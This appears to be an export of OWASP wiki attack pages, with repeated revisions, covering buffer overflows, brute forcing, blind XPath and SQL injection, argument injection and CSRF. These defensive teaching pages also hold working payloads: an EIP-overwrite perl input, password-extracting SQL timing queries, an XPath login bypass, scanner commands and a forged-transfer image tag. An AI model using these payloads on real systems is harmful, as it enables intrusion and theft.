==Related [[Attacks]]==

* [[XSS]]

==Related [[Vulnerabilities]]==

==Related [[Controls]]==

* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually.
* TBD: Add a per-session nonce to URL and all forms
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms
* TBD: .NET - add session identifier to ViewState with MAC
* Checking HTTP referrer details can help mitigate the attack but does certainly not provide a bullet proof solution. By ensuring the HTTP posts have come from the original site means that the attacks from other sites will not function. However, if the CSRF attack was used in combination with XSS on the original site then this mechanism will not provide any protection.
* "Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1

==References==
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''

* [[Testing for CSRF]]
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)

* [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']
: Overview Paper

* [http://www.owasp.org/index.php/Image:OWASPAppSecEU2006_RequestRodeo.ppt RequestRodeo: Client Side Protection against Session Riding]
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]

* [http://www.owasp.org/index.php/CSRF_Guard CSRF Guard]
: A J2EE Filter which appends a unique request token to each form and link in the HTML response

[[Category:Exploitation of Authentication]]
[[Category:Embedded Malicious Code]]
[[Category:Spoofing]]

Buffer overflow attack

2008-06-15T19:57:44Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Buffer overflow errors are characterized by the overwriting these memory
fragments of the proccess, which should have never been modified
intentionally or unintentionally.
Overwriting values of the IP (Instruction Pointer), BP (Base Pointer)
and other registers causes exceptions, segmentation faults and other
errors to occur. Usually these errors ends execution of the application
in an unexpected way.
Buffer overflow errors occurs when we operate on buffers of char type.

BO (common name for this kind of errors) is simply a stack or heap overflow.
We don't distinguish beetwen these two in this article to avoid reader's confusion.
Details about using stack and heap overflow techniques reader will find in
the separate articles.

Below examples are written in C language under GNU/Linux system on x86 architecture.

==Risk Factors==

==Examples ==

===Example 1===
<pre>
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8]; // buffer for eight characters
gets(buf); // read from stdio (sensitive function!)
printf("%s\n", buf); // print out data stored in buf
return 0; // 0 as return value
}
</pre>
This very simple application reads from the standard input an array of the
characters and copies it into the buffer of the char type. The size of this
buffer is eight characters. After that the content of the buffer is displayed
and application exits.

Program compilation:
<pre>
rezos@spin ~/inzynieria $ gcc bo-simple.c -o bo-simple
/tmp/ccECXQAX.o: In function `main':
bo-simple.c:(.text+0x17): warning: the `gets' function is dangerous and
should not be used.
</pre>
At this stage even compiler suggests us that the used function gets() doesn't belong
to the safe ones.

Usage example:
<pre>
rezos@spin ~/inzynieria $ ./bo-simple // program start
1234 // we eneter "1234" string from the keyboard
1234 // program prints out the conent of the buffer
rezos@spin ~/inzynieria $ ./bo-simple // start
123456789012 // we eneter "123456789012"
123456789012 // content of the buffer "buf" ?!?!
Segmentation fault // information about memory segmenatation fault
</pre>
Definitely we manage (un)luckily to execute faulty operation by
the program and provoke it to exit abnormally.

Problem analysis:

The program calls a function, which operate on char type buffer and does no
checks against overflowing the size assigned to this buffer.
As an aftermath it is possible to intentionally or unintentionally store more
data in the buffer what will cause an error. The following question arises:
The buffer stores only eight characters, so why function printf() displayed twelve?.
The anserw come off the process memory organisation. Four characters which overflowed
the buffer also overwrite the value stored in one of the registers, which was
necessary for the correct function return. Memory continuity resulted in printing
out the data stored in this memory area.

===Example 2===
<pre>
#include <stdio.h>
#include <string.h>

void doit(void)
{
char buf[8];

gets(buf);
printf("%s\n", buf);
}

int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");

return 0;
}
</pre>
This example is analogous to the first one. In addition before and after doit()
function we have two calls to function printf().
<pre>
Compilation:

rezos@dojo-labs ~/owasp/buffer_overflow $ gcc example02.c -o example02
-ggdb
/tmp/cccbMjcN.o: In function `doit':
/home/rezos/owasp/buffer_overflow/example02.c:8: warning: the `gets'
function is dangerous and should not be used.

Usage example:
rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
So... The End...
TEST // user data on input
TEST // print out stored user data
or... maybe not?
</pre>
Program between two defined printf() calls displays content of the buffer,
which is filled with data entered by the user.
<pre>
rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
So... The End...
TEST123456789
TEST123456789
Segmentation fault
</pre>
Because of defined size of the buffer (char buf[8]) and filling it with
thirteen characters of char type, the buffer was overflowed.

If our binary application is in ELF format, then we are able to use an objdump
program to analise it and find necessery information to exploit buffer overflow
error.

Below is an output produced by the objdump. From that output we are able to
find addresses, where printf() is called (0x80483d6 and 0x80483e7).
<pre>
rezos@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./example02

080483be <main>:
80483be: 8d 4c 24 04 lea 0x4(%esp),%ecx
80483c2: 83 e4 f0 and $0xfffffff0,%esp
80483c5: ff 71 fc pushl 0xfffffffc(%ecx)
80483c8: 55 push %ebp
80483c9: 89 e5 mov %esp,%ebp
80483cb: 51 push %ecx
80483cc: 83 ec 04 sub $0x4,%esp
80483cf: c7 04 24 bc 84 04 08 movl $0x80484bc,(%esp)
80483d6: e8 f5 fe ff ff call 80482d0 <puts@plt>
80483db: e8 c0 ff ff ff call 80483a0 <doit>
80483e0: c7 04 24 cd 84 04 08 movl $0x80484cd,(%esp)
80483e7: e8 e4 fe ff ff call 80482d0 <puts@plt>
80483ec: b8 00 00 00 00 mov $0x0,%eax
80483f1: 83 c4 04 add $0x4,%esp
80483f4: 59 pop %ecx
80483f5: 5d pop %ebp
80483f6: 8d 61 fc lea 0xfffffffc(%ecx),%esp
80483f9: c3 ret
80483fa: 90 nop
80483fb: 90 nop
</pre>
If the second call to printf() would inform administrator about user
logout (e.g. closed session), then we can try to omit this step and
finish without call to printf().
<pre>
rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
."\xf9\x83\x04\x08"' | ./example02
So... The End...
AAAAAAAAAAAAu*.
Segmentation fault
</pre>
Application finished its execution with segmentation fault but the second
call to printf() had no place.

A few words of explanation:

perl -e 'print "A"x12 ."\xf9\x83\x04\x08"' - will print out twelve "A"
characters and then four characters, which are in fact an address of the
instruction we want to execute. Why twelve?
<pre>
8 // size of buf (char buf[8])
+ 4 // four additional bytes for overwriting stack frame pointer
----
12
</pre>
Problem analysis:

The issue is the same as in the first example. There is no control over
the size of the copied buffer into the previously declared one. In this
example we overwrite EIP register with address 0x080483f9, which is in
fact call to ret in the last phase of the program execution.

How to use buffer overflow errors in a different way?

Generally explotation of these errors may lead to:
* application DoS
* reordering execution of functions
* code execution (if we are able to inject the shellcode - described in the separate document)

How buffer overflow errors are made?

This kind of errors are very easy to make. For years they were programmer's
nightmare. The problem lies in native C functions, which don't care about doing
appropriate buffers length checks. Below is the list of such functions and if exists,
their safe equivalents:

* gets() -> fgets() - read characters
* strcpy() -> strncpy() - copy content of the buffer
* strcat() -> strncat() - buffers concatation
* sprintf() -> snprintf() - fill buffer with data of different types
* (f)scanf() - read from STDIN
* getwd() - return working directory
* realpath() - return absolut (full) path

==Related [[Threat Agents]]==

* [[:Category:Command Execution]]
* [[Off-by-one]]

==Related [[Attacks]]==

* [[Stack overflow attack]]
* [[Heap overflow attack]]
* [[Format string attack]]

==Related [[Vulnerabilities]]==

* [[Format string]]
* [[Heap overflow]]

==Related [[Controls]]==

* Use safe equivalent functions, which check the buffers length, whenever it's possible.

Namely:
#gets() -> fgets()
#strcpy() -> strncpy()
#strcat() -> strncat()
#sprintf() -> snprintf()

* These functions which doesn't have their safe equivalents should be rewritten
with safe checks implemented. Time spent on that will benefit in the future.
Remember that you have to do it only once.

* Use compilers, which are able to identify unsafe functions, logic errors and
check if the memory is overwritten when and where it shouldn't be.

[[Category:Data Structure Attacks]]

Brute force attack

2008-06-15T19:51:28Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

During this type of attacks the attacker is trying to bypass security mechanisms having a minimal knowledge about them. Using one or more of accessible methods: dictionary attack (with or without mutations), brute-force attack (with given classes of characters e.g.: alphanuerical, special, case (in)sensitive) the attacker is trying to achive his/her goal. Considering a given method, number of tries, efficiency of the system, which conducts the attack and estimated efficiency of the system which is attacked, the attacker is able to calculate for how long the attack will have to lasts. Non brute-force attacks in the other hand, which includes all classes of characters, gives no certeinty of success.

==Risk Factors==

==Examples==

The brute-force attacks are mainly used in the context of guessing passwords and bypassing access control. However there are a lot of tools which uses this techinque to examinate the web service's catalogue structures and seeks interesting, from the attacker's point of view, information. Very often the target of an attack are data in forms (GET/POST) and user's Session-IDs.

===Example 1===

In the first scenerio, where the goal of brute-forcing is to get to know the password in its decrypted form, it may appear that john the ripper (http://www.openwall.com/john/) is a very helpfull tool. TOP10 tools for password cracking with different methods, including brute-force, may be found on
http://sectools.org/crackers.html.

For testing web services there are tools like:
- dirb (http://sourceforge.net/projects/dirb/)
- WebRoot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

dirb belongs to more advanced tools. With its help we are able to:
- set cookies
- add any HTTP header
- use PROXY
- mutate objects which were found
- test http(s) connections
- seek catalogues and/or files using defined dictionaries and templates
- and much much more

The simplest test to perform is:
<pre>
rezos@dojo ~/d/owasp_tools/dirb $ ./dirb http://testsite.test/
-----------------
DIRB v1.9
By The Dark Raver
-----------------
START_TIME: Mon Jul 9 23:13:16 2007
URL_BASE: http://testsite.test/
WORDLIST_FILES: wordlists/common.txt
SERVER_BANNER: lighttpd/1.4.15
NOT_EXISTANT_CODE: 404 [NOT FOUND]
(Location: '' - Size: 345)

-----------------

Generating Wordlist...
Generated Words: 839

---- Scanning URL: http://testsite.test/ ----
FOUND: http://testsite.test/phpmyadmin/
(***) DIRECTORY (*)
</pre>
In the output the attacker is informed that phpmyadmin/ catalogue was found. The attacker who knows that, is now able to perform the attack on this application. In dirb's templates there is among others a dictionary containing information about invalid httpd configuration. This dictionary will detect weaknesses of this kind.

One of the main problems with tools like dirb is recognition if the given response from the server is expected and reliable. With more advanced server configuration (e.g. with mod_rewrite) automatic tools are unable to determine if server response informs about an error or that the file, which the attacker is after, was found.

Application WebRoot.pl written by CIRT.DK (http://www.cirt.dk/tools/webroot/WebRoot.txt) has embedded mechanisms for parsing server responses and basing on the phrase, wchich was specified by the attacker, it measures if the server response is expected.

E.g.:

Np.

./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -match "test" -url "/private/<BRUTE>" -incremental lowercase -minimum 1 -maximum 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00
o Webserver Bruteforcing 1.8 o
0 ************* !!! WARNING !!! ************ 0
0 ******* FOR PENETRATION USE ONLY ********* 0
0 ****************************************** 0
o (c)2007 by Dennis Rand - CIRT.DK o
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates - NO CHECK
[X] Checking for False Positive Scan - OK
[X] Using Incremental - OK
[X] Starting Scan - OK
GET /private/b HTTP/1.1
GET /private/z HTTP/1.1

[X] Scan complete - OK
[X] Total attempts - 26
[X] Sucessfull attempts - 1
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl found one file "/private/b" on testsite.test, which contains phrase "test".

Another example is to examine ranges of the variable's values:
<pre>
./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -diff "Error" -url "/index.php?id=<BRUTE>" -incremental integer -minimum 1 -maximum 1
</pre>

==Related [[Threat Agents]]==

* [[:Category:Authentication]]

==Related [[Attacks]]==

* [[Blind SQL Injection]]
* [[Blind XPath Injection]]

==Related [[Vulnerabilities]]==

* [[Weak credentials]]
* [[J2EE Misconfiguration: Insufficient Session-ID Length]]

==Related [[Controls]]==

* [[Salted hashes]]
* [[Password based authentication]]

[[Category:Probabilistic Techniques]]

Blind XPath Injection

2008-06-15T19:42:54Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

XPath is a sort of query language that describes how to locate specific elements (including attributes, processing instructions,
etc.) in an XML document. Since it is a query language, XPath is somewhat similar to Structured Query Language (SQL). However, XPath
can be used to reference almost any part of any XML document without access control restrictions, whereas with SQL, a "user" (which is a term undefined in the XPath/XML context) may be restricted to certain tables, columns or queries.

More information may be found in the article dedicated to [[XPATH Injection]]. Conducting Blind XPath Injection attack the attacker has no knowledge about the structure of the XML document. However his situation is better comparing to [[Blind_SQL_Injection]], because there are functions, which allows for performing tests (XML Crawling) and in the end getting know the document structure.

==Risk Factors==

==Examples==

Using [[XPATH_Injection]] attack the attacker is able to e.g. log in to the system without entering valid login and password. If he wants to know information about other users he must take one step further. The attacker may be successfull using two methods: Boolenization and XML Crawling. By adding to the XPath syntax, which allows to log in without entering a login and password, additional expressions (replacing what the attacker entered in the place of login to the specially crafted expression).

===Boolenization===

Using so called "Boolenization" method the attacker may find out if the given XPath expression is True or False. Let's assume that the
aim of the attacker is to log in to the account. Successfull log in would be equal "True" and failed log in attempt would equals "False". Only a smart portion of the information is analyzed "character" or the number. When the attacker focuses on the string he may reveal it in its entirety by checking every single character within the class/range of characters this string belongs to.

Using ''string-length(S)'' function, where S is a string, the attacker may find out the length of this string. With the appropriate number of ''substring(S,N,1)'' function iterations, where S is a previously mentioned string, N is a start character, and "1" is a next character counting from N character, the attacker is able to find out the whole string.

Code:
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<data>
<user>
<login>admin</login>
<password>test</password>
<realname>SuperUser</realname>
</user>
<user>
<login>rezos</login>
<password>rezos123</password>
<realname>Simple User</realname>
</user>
</data>
</pre>
Function:

* ''string.stringlength(//user[position()=1]/child::node()[position()=2])'' returns the length of the second string of the first user (8),
* ''substring((//user[position()=1]/child::node()[position()=2),1,1)'' returns the first character of this user ('r').

===XML Crawling===

To get to know the XML document structure the attacker may use:

* count(expression)
<pre>
count(//user/child::node()
</pre>
Will return the number of nodes (in this case 2).

* stringlength(string)
<pre>
string-length(//user[position()=1]/child::node()[position()=2])=6
</pre>
Using this query the attacker will find out if the second string (password) of the first node (user 'admin') consists of 6 characters.

* substring(string, number, number)
<pre>
substring((//user[position()=1]/child::node()[position()=2]),1,1)="a"
</pre>
This query will confirm (True) or deny (False) that the first character of the user ('admin') password is an "a" character.

If the log in form would look like that:

C#:
<pre>
String FindUser;
FindUser = "//user[login/text()='" + Request("Username") + "' And
password/text()='" + Request("Password") + "']";
</pre>
then the attacker should inject the following code:
<pre>
Username: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)="a" or ''='
</pre>

The XPath syntax may remind common [[SQL_Injection]] attacks but the attacker must consider, that this language disallows commenting
out the rest of expresssion. To ommit this limitation the attacker should use OR expressions to void all expressions, which may disrupt the attack.

Because of ''Boolenization'' the number of queries, even within a small XML document, may be very high (thousands, houndred of thousands and more). That is why this attack is not conducted manually. Knowing few basic XPath functions the attacker is able to write an application in a short time, which will rebuild the structure of the document and will fill it with a data by itself.

==Related [[Threat Agents]]==

* [[:Category:Command_Execution]]

==Related [[Attacks]]==

* [[Blind_SQL_Injection]]
* [[XPATH_Injection]]

==Related [[Vulnerabilities]]==

* [[Injection_problem]]

==Related [[Controls]]==

* [[:Category:Input Validation]]

==References==

* http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).
* http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html

[[Category:Injection]]

Blind SQL Injection

2008-06-15T16:21:17Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

When an attacker executes SQL Injection attacks sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application rather then getting a useful error message they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through sql statements.

==Risk Factors==

==Examples ==

Verification whether sended request returned True or False the attacker may conduct in a few ways:

===(in)visible content===

Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple simple tests if a page
is vulnerable to sql injection attack.

Examplary URL:
<pre>
http://newspaper.com/items.php?id=2
</pre>
sends the following query to the database:
<pre>
SELECT title, description, body FROM items WHERE ID = 2
</prE>
The attacker may try to inject any (even invalid) query, what should cause to return no results by the query:
<pre>
http://newspaper.com/items.php?id=2 and 1=2
</pre>
Now the sql query should looks like that:
<pre>
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
</pre>
What means that query is not going to return anything.

If the web application is vulnerable to sql injection, then probably will not return anything. To make sure the attacker will certainly inject a valid query:
<pre>
http://newspaper.com/items.php?id=2 and 1=1
</pre>
If the content of the page will be the same, then the attacker is able to distinguish when the query is True of False.

What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker imagination.

===RDBMS fingerprinting===

If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole
attack much easier to him. One of the most popular method to do it, is to call functions, which will return the current date. MySQL,
MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.

===timing attack===

Timing attack depends upon injecting the following MySQL query:
<pre>
SELECT IF(expression, true, false)
</pre>
Using some time taking operation e.g. BENCHMARK(), will delay server
responses if the expression will be True.

<pre>BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))</pre> - will execute 5000000 times the ENCODE function.

Depending on the database server performence and its load, it should
take just a moment to finish this operation. The immportant thing is,
from the attacker's point of view, to specify high number of BENCHMARK()
function repetitons, which should affect in a noticeable way the server
response time.

Examplary combination of both queries:
<pre>
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
</pre>
If the server response was quite long we may expect, that the first user password character with user_id = 1 is character '2'.
<pre>
(CHAR(50) == '2')
</pre>
Using this method for the rest of characters it's possible to get to know entire password stored in the database. This method works even when the attacker injects the sql queries and the content of the vulnerable page is doesn't change.

Obviously in this example the names of the tables and the number of columns was specified. However it's possible to guess them or check with trial and error method.

Different databases than MySQL also have implemented functions, which allow to use timing attacks:
* MS SQL 'WAIT FOR DELAY '0:0:10''
* PostgreSQL - pg_sleep()

Conducting Blind_SQL_Injection attacks manually are very time taking. There are a lot of tools, which automates this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) developed within OWASP grant program. In the other hand the practice shows that tools of this kind are very sensitive to even small deviations from the rule. This includes:
* scanning othe WWW cluster, where clocks are not ideally synchronized,
* WWW services where argument acquiring method was changed, e.g. from /index.php?ID=10 to /ID,10

==Related [[Threat Agents]]==

* [[:Category:Command Execution]]

==Related [[Attacks]]==

* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Related [[Vulnerabilities]]==

* [[Injection_problem]]

==Related [[Controls]]==

* [[:Category:Input Validation]]

==References==

* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Online Resources'''
* [http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* [http://www.securitydocs.com/library/2651 Blind SQL Injection]
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* [http://wcsc.myweb.usf.edu/tutorials/SQL_Injection.ppt SQL Injection Attacks]

'''Tools'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ [Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project SQLiX - SQL Injection Scanner] in Perl
* [http://sqlmap.sourceforge.net sqlmap, a blind SQL injection tool] in Python
* [http://www.514.es/2006/12/inyeccion_de_codigo_bsqlbf12th.html bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]

Argument Injection or Modification

2008-06-15T15:56:05Z

Thiagoalz:

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Argument Injection or Modification is a specific case of attack, which belongs to Injection attacks familly. Modifying or injecting data as arguments the attacker may lead to very simmilar, often the same results as in other injection attacks. It plays no difference if the attacker wants to inject the system command into argument or into any other part of the code.

==Risk Factors==

==Examples ==

===Example 1===

Knowing pseudo code of the application the attacker may guess, what action is required by the application to perform another one. E.g. what must be done to authorize the attacker as the administrator.

Reading the code below the attacker doesn't know the values of $pass and $login. The question is - is there possiblity of altering value of $authorized not knowing previously mentioned variables?

<pre>
$authorized=0;

if($pass = "XXX" and $login = "XXX") { $authorized = 1; }
if($authorized == 1) { admin_panel(); }
</pre>

If server configuration allows for that, we may try to pass argument $authorized=1 as input data to application.

<pre>
E.g. /index.php?user=&pass=&authorized=1
</pre>

===Example 2===

If security mechanism doesn't protect data as it should, e.g. doesn't check the identity of the user and private data are displayed to him despite of fact they shouldn't, then such user may try to alter arguments and get access to data owned by a different user.

E.g. By entering address http://testsite.com/index.php?invoice=12 user is able to check one of his invoices. Modifying "invoice" argument, considering above assumptions, the attacker may try to access other user's invoices. Usefull to the attacker in this example would be performing a brute-force attack.

==Related [[Threat Agents]]==

* [[:Category:Command Execution]]

==Related [[Attacks]]==

* [[Command Injection]]
* [[Code Injection]]
* [[SQL Injection]]
* [[LDAP Injection]]
* [[SSI Injection]]
* [[XSS]]

==Related [[Vulnerabilities]]==

* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==

* validation of the format / expected classes of charachetrs / input/output data size

==References==

[[Category: Injection]]

Argument Injection or Modification

2008-06-15T15:51:42Z

Thiagoalz: sorry!

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Argument Injection or Modification is a specific case of attack, which belongs to Injection attacks familly. Modifying or injecting data as arguments the attacker may lead to very simmilar, often the same results as in other injection attacks. It plays no difference if the attacker wants to inject the system command into argument or into any other part of the code.

==Risk Factors==

==Examples ==

===Example 1===

Knowing pseudo code of the application the attacker may guess, what action is required by the application to perform another one. E.g. what must be done to authorize the attacker as the administrator.

Reading the code below the attacker doesn't know the values of $pass and $login. The question is - is there possiblity of altering value of $authorized not knowing previously mentioned variables?

<pre>
$authorized=0;

if($pass = "XXX" and $login = "XXX") { $authorized = 1; }
if($authorized == 1) { admin_panel(); }
</pre>

If server configuration allows for that, we may try to pass argument $authorized=1 as input data to application.

<pre>
E.g. /index.php?user=&pass=&authorized=1
</pre>

===Example 2===

If security mechanism doesn't protect data as it should, e.g. doesn't check the identity of the user and private data are displayed to him despite of fact they shouldn't, then such user may try to alter arguments and get access to data owned by a different user.

E.g. By entering address http://testsite.com/index.php?invoice=12 user is able to check one of his invoices. Modifying "invoice" argument, considering above assumptions, the attacker may try to access other user's invoices. Usefull to the attacker in this example would be performing a brute-force attack.

==Related [[Threat Agents]]==

* [[Command Execution]]

==Related [[Attacks]]==

* [[Command Injection]]
* [[Code Injection]]
* [[SQL Injection]]
* [[LDAP Injection]]
* [[SSI Injection]]
* [[XSS]]

==Related [[Vulnerabilities]]==

* [[Input Validation Vulnerability]]

==Related [[Controls]]==

* validation of the format / expected classes of charachetrs / input/output data size

==References==

[[Category: Injection]]

Argument Injection or Modification

2008-06-15T15:50:42Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Argument Injection or Modification is a specific case of attack, which belongs to Injection attacks familly. Modifying or injecting data as arguments the attacker may lead to very simmilar, often the same results as in other injection attacks. It plays no difference if the attacker wants to inject the system command into argument or into any other part of the code.

==Risk Factors==

==Examples ==

===Example 1===

Knowing pseudo code of the application the attacker may guess, what action is required by the application to perform another one. E.g. what must be done to authorize the attacker as the administrator.

Reading the code below the attacker doesn't know the values of $pass and $login. The question is - is there possiblity of altering value of $authorized not knowing previously mentioned variables?

<pre>
$authorized=0;

if($pass = "XXX" and $login = "XXX") { $authorized = 1; }
if($authorized == 1) { admin_panel(); }
</pre>

If server configuration allows for that, we may try to pass argument $authorized=1 as input data to application.

<pre>
E.g. /index.php?user=&pass=&authorized=1
</pre>

===Example 2===

If security mechanism doesn't protect data as it should, e.g. doesn't check the identity of the user and private data are displayed to him despite of fact they shouldn't, then such user may try to alter arguments and get access to data owned by a different user.

E.g. By entering address http://testsite.com/index.php?invoice=12 user is able to check one of his invoices. Modifying "invoice" argument, considering above assumptions, the attacker may try to access other user's invoices. Usefull to the attacker in this example would be performing a brute-force attack.

==Related [[Threat Agents]]==

* [[Category:Command Execution]]

==Related [[Attacks]]==

* [[Command Injection]]
* [[Code Injection]]
* [[SQL Injection]]
* [[LDAP Injection]]
* [[SSI Injection]]
* [[XSS]]

==Related [[Vulnerabilities]]==

* [[Category:Input Validation Vulnerability]]

==Related [[Controls]]==

* validation of the format / expected classes of charachetrs / input/output data size

==References==

[[Category: Injection]]

Cross-Site Request Forgery

2008-06-03T15:34:23Z

Thiagoalz:

{{template:CandidateForDeletion}}
#REDIRECT [[Cross-Site Request Forgery (CSRF)]]

Cross-Site Request Forgery (CSRF)

2008-06-03T15:33:12Z

Thiagoalz: Cross-Site Request Forgery moved to Cross-Site Request Forgery (CSRF) over redirect: Changing the title

{{Template:Attack}}

==Description==

Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.

For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.

In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.

Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

==Examples==

'''How does the attack work?'''

There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:

POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1
...
...
...
Content-Length: 19;

acct=BOB&amount=100

However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:

GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1

Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:

<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki>

Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following:

<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki>

Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:

<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"></nowiki>

If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.

